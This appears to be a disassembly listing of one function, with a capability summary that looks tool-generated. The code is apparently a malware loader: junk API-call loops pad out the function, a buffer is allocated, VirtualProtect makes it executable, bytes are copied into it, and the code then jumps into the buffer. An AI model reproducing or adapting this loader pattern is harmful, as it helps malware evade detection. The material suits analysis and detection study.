Function at 0x403870
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get file attributes
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call edi
cmp esi, 0x207142
jg 0x40389f
inc esi
cmp esi, 0x67d12
jl 0x403884
cmp dword [0x5e23cc], 0x93
jne 0x40393c
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuW]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDCW]
xor eax, eax
lock bts dword [eax], 0
lea edx, [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 0x40332c
call fcn.00404500
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], 0x40337c
call fcn.00404527
push 0
call fcn.004048d8
add esp, 4
push 0
call fcn.00404907
add esp, 4
push 0
push 0
call fcn.0040447e
push 0
push 0
call fcn.00404912
fldz
add esp, 0x10
push 0
sub esp, 8
fstp qword [esp]
call fcn.00404559
add esp, 0xc
fstp st(0)
call fcn.004042d6
mov eax, dword [0x5e23cc]
mov ecx, dword [0x43f8cc]
add eax, 0x1134b
push eax
push 0
mov dword [0x5e3208], ecx
mov dword [0x5e23cc], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x5e23cc]
lea edx, [ebp - 8]
push edx
push 0x40
push ecx
push eax
mov dword [0x5e1e5c], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, 0x1692e
lea ebx, [ebx]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuW]
push 0
call edi
call ebx
dec esi
jne 0x403990
cmp dword [0x5e23cc], esi
jbe 0x403a04
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov edx, dword [0x5e3208]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x5e1e5c]
mov byte [ecx + esi], al
cmp dword [0x5e23cc], 0x490
jne 0x4039fb
push 0
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
inc esi
cmp esi, dword [0x5e23cc]
jb 0x4039b7
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
xor esi, esi
mov edx, dword [0x5e23cc]
add edx, esi
cmp edx, 0x8d
jne 0x403a4a
push 0
lea eax, [ebp - 0x818]
push eax
push 0
push 0x40333c
push 0
push 0
call edi
push 0
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
inc esi
cmp esi, 0x38681
jl 0x403a12
call fcn.00403590
xor edi, edi
xor esi, esi
lea esp, [esp]
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x61
jne 0x403a7f
mov dword [ebp - 4], edi
add dword [ebp - 4], 0x1155e
mov ecx, dword [ebp - 4]
add dword [0x5e1e5c], ecx
inc esi
cmp esi, 0x674bd
jl 0x403a60
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalWire]
mov dword [ebp - 4], 0x7b
cmp dword [0x5e23cc], 0x86
jne 0x403ae2
push 0
call esi
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
cmp dword [0x5e23cc], 0xf
jne 0x403af9
push 0
push 0
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
dec dword [ebp - 4]
jne 0x403aa1
push 0x403344
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x5e1e5c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret